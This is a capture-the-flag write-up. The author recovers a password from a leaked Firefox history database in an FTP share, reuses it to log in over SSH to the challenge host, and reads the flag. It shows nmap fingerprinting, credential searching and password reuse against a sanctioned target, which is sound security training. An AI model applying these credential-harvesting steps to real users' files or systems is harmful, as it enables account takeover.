

Challenge:

Hack Bob's box!

`nmap` is allowed for this problem only. However, you may only target `misc.utctf.live:8121` and `misc.utctf.live:8122` with `nmap`.

by mattyp

We are provided with the ftp share attachment `bobs-ftp.tar`.

We start with the attachment.

```
user@kali:~/Downloads/utctf/bobs-ftp$ ls
docs favs
user@kali:~/Downloads/utctf/bobs-ftp$ cd docs
user@kali:~/Downloads/utctf/bobs-ftp/docs$ ls
letter.txt notes.md todo.txt
user@kali:~/Downloads/utctf/bobs-ftp/docs$ cd ../favs
user@kali:~/Downloads/utctf/bobs-ftp/favs$ ls
bobby.jpg dolphin-redherr.png shiny-boy.jpg
```

`todo.txt` provides a hint. Bob has a website that isn't secure?

```
user@kali:~/Downloads/utctf/bobs-ftp/docs$ cat todo.txt
-----
|     Bob's TODO List      |
-----
- text jeff about gme
- think of a bday gift for tom
- sell my gme stocks
- look up how to sell organs
- figure out what a short is
- check my website is secure
```

`nmap` shows there's OpenSSH on p8122. Not a website though.

```
user@kali:~$ sudo nmap -sV --version-all -T2 -O -p 8121-8122 misc.utctf.live
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-14 22:44 EDT
Nmap scan report for misc.utctf.live (3.236.87.2)
Host is up (0.014s latency).
rDNS record for 3.236.87.2: ec2-3-236-87-2.compute-1.amazonaws.com

PORT      STATE SERVICE VERSION
8121/tcp  open  ftp      Pure-FTPd
8122/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
```

We dig a little deeper.

```
user@kali:~/Downloads/utctf/bobs-ftp$ ls -a
. .. docs favs .mozilla .ssh
user@kali:~/Downloads/utctf/bobs-ftp$ cd ./ssh; ls -a
. .. authorized_keys id_rsa id_rsa.pub known_hosts
user@kali:~/Downloads/utctf/bobs-ftp/.ssh$ ssh -p 8122 bob@misc.utctf.live
bob@misc.utctf.live's password:
```

ssh keys are interesting. We look for the password.

```
user@kali:~/Downloads/utctf/bobs-ftp$ grep -r "pass"
grep: .mozilla/firefox/yu85tipn.bob/places.sqlite: binary file matches
grep: .mozilla/firefox/yu85tipn.bob/sessionstore.jsonlz4: binary file matches
grep: .mozilla/firefox/yu85tipn.bob/key4.db: binary file matches
grep: .mozilla/firefox/yu85tipn.bob/favicon.sqlite: binary file matches
```

Starting with the first result, we dump Firefox's moz_places table with sqlite. Where is Bob's website?

```
user@kali:~/Downloads/utctf/bobs-ftp$ sqlite3 .open ./mozilla/firefox/yu85tipn.bob/places.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .tables
moz_anno_attributes    moz_historyvisits      moz_meta
moz_annos              moz_inhistory         moz_origins
moz_bookmarks           moz_items_annos       moz_places
moz_bookmarks_deleted   moz_keywords
sqlite> select * from moz_places;
1|https://www.mozilla.org/privacy/firefox/||gro.allizom.www.|1|1|0|25|1614705233518812|9wHS3tjizhff|0|47356411089529|||1
2|https://www.mozilla.org/en-US/privacy/firefox/|Firefox Privacy Notice - Mozilla|gro.allizom.www.|1|0|0|100|1614705233672771|YTF4MidHoQ
Our Privacy Notices describe the data our products and services receive, share, and use, as well as choices available to you.
|https://www.mozilla.org/media/img/mozorg.mozilla-256.4720741d4108.jpg|1
3|https://support.mozilla.org/en-US/products/firefox||gro.allizom.troppus.|0|0|0|140||PowM6B9Jl8mm|1|47357795150914|||2
4|https://support.mozilla.org/en-US/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-boot
|73505324216201112
16|http://bobsite.com/login?user=bob&pass=i-l0v3-d0lph1n5|bobsite.com - This website is for sale! - EBIES Resources and Information.|moc.etisbob.|1|0|1|2000|1614705655565177|2B700wruGKqF|0|125510373756
3|This website is for sale! bobsite.com is your first and best source for all of the information you're looking for. From general topics to more of what you would expect to find here, bobsite.com has it all. We hope you find what you are searching for!||9
sqlite> 
```

Line 16 has a password! This fits the hint. The site doesn't exist, but maybe the password was reused.

```
user@kali:~/Downloads/utctf/bobs-ftp/.ssh$ ssh -p 8122 bob@misc.utctf.live
bob@misc.utctf.live's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1038-aws x86_64)
```

We're in! We don't have to go very far to find the flag.

```
Last login: Sun Mar 14 21:25:40 2021 from 72.77.90.169
bob@ab405b7be269:~$ ls
bob@ab405b7be269:~$ cd ..
bob@ab405b7be269:~/ls
bin bob boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
bob@ab405b7be269:~/ls$ cat flag.txt
utflag{red_teams_are_just_glorified_password_managers}
bob@ab405b7be269:~/ls$ 
```